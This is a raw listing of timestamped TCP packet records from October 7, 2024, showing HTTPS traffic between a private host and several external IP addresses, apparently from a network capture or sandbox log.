Oct 7, 2024 21:53:10.369241953 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.369573116 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.369584084 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.369594097 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.369600058 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.371309996 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.371328115 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.371376991 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.371534109 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.371547937 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.371823072 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.371839046 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.372064114 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.372181892 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.372196913 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.382931948 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.382999897 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.383045912 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.384010077 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.384016991 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.384026051 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.384032011 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.387121916 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.387142897 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.387206078 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.388180017 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.388190985 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.393846989 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.393985033 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.394150972 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.397804022 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.397804022 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.397814989 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.397820950 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.402554035 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.402568102 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.402658939 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.402791977 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.402801037 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.555581093 CEST	49705	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:10.555650949 CEST	49705	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:10.555932999 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:10.555972099 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:10.556042910 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:10.556303024 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:10.556318045 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:10.561121941 CEST	443	49705	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:10.561418056 CEST	443	49705	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:10.718813896 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.719151020 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.719175100 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.719500065 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.720290899 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.720349073 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.720473051 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.720817089 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.720840931 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.722284079 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.722357035 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.727300882 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.730252981 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.730279922 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.730336905 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.730366945 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.730432987 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.731206894 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.731249094 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.731307983 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.731358051 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.731502056 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.731512070 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.731957912 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.731985092 CEST	49768	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.732009888 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.732445002 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.732520103 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.732567072 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.775398016 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.779400110 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.787167072 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.815602064 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.820936918 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.820959091 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.821439981 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.827779055 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.827878952 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.827961922 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.828039885 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.828078985 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878027916 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878134966 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878213882 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878218889 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.878240108 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878360033 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878388882 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.878396988 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.878688097 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.878695965 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.879204988 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.879242897 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.879268885 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.879276991 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.879359961 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.879369020 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.880688906 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.881551981 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.881633997 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.881827116 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.881841898 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.883784056 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.883845091 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.883852959 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.930278063 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.960752010 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.960918903 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.960956097 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961005926 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.961015940 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961256027 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.961261988 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961338043 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961555958 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961560965 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.961570024 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.961606979 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.962152958 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.962265968 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.962311983 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.962318897 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.962538958 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.963123083 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.963156939 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.963176966 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.963185072 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.963213921 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.963460922 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.963769913 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.963778019 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.964158058 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.964190006 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.964205980 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.964211941 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.964293003 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.964329958 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.988507032 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.991467953 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.991631985 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.991661072 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.992151022 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.992160082 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.992599964 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.992635965 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.993047953 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.993055105 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.013170958 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013233900 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013278961 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.013294935 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013344049 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013384104 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013384104 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.013403893 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.013484001 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.013492107 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.014067888 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.014130116 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.014137030 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.015005112 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.015065908 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.015074015 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.017623901 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.019087076 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.019105911 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.019349098 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.019357920 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.021466017 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.021471977 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.052149057 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.052237034 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.052244902 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.052437067 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.052474022 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.052475929 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.052494049 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.052534103 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.052539110 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053236008 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053246975 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053299904 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.053307056 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053320885 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053388119 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.053395033 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053483963 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.053839922 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053931952 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.053982973 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.053989887 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.054095984 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.054562092 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.054615974 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.054897070 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.054949999 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.054955006 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.054999113 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.055738926 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.055794954 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.055811882 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.055860996 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.056618929 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.056669950 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.056675911 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.056718111 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.057112932 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.057162046 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.057384968 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.057431936 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.066189051 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.066220999 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.069130898 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.069889069 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.069907904 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.070452929 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.070457935 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.085194111 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.085477114 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.085527897 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.086092949 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.086539030 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.086558104 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.087023020 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.087028027 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.087444067 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.087460041 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.087516069 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.087531090 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.089354992 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.089405060 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.089454889 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.089957952 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.089973927 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.089982986 CEST	49763	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.089988947 CEST	443	49763	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.090586901 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.090614080 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.090749979 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.091510057 CEST	49770	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.091526031 CEST	443	49770	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.092535019 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.092576981 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.092633963 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.092721939 CEST	49771	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.092740059 CEST	443	49771	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.102036953 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102081060 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102360964 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102391958 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.102406025 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102468967 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.102483988 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102525949 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.102530956 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102544069 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102580070 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.102590084 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102895021 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102933884 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.102936029 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.102947950 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.103034973 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.103322029 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.103461027 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.103506088 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.103513002 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.103585005 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.103632927 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.103638887 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104187012 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104234934 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.104242086 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104284048 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104448080 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104487896 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104507923 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.104516983 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.104540110 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.114942074 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.115101099 CEST	443	49765	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.115173101 CEST	49765	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.139287949 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.139372110 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.139698029 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.139759064 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.139766932 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.139897108 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.140038013 CEST	443	49767	23.1.237.91	192.168.2.5
Oct 7, 2024 21:53:11.140115976 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.142599106 CEST	49767	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:53:11.146399975 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.146419048 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.148622990 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.148684025 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.148691893 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.167619944 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.167685032 CEST	443	49766	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.168637991 CEST	49766	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.171585083 CEST	443	49768	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:11.187341928 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.187426090 CEST	443	49764	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:11.187527895 CEST	49764	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:11.193461895 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.199762106 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.199982882 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200025082 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200052023 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.200066090 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200447083 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200458050 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200496912 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.200505972 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200544119 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.200808048 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200817108 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.200849056 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.201256990 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.201267958 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.201302052 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.201309919 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.201325893 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.201584101 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:11.201628923 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:11.201637030 CEST	443	49761	104.18.94.41	192.168.2.5
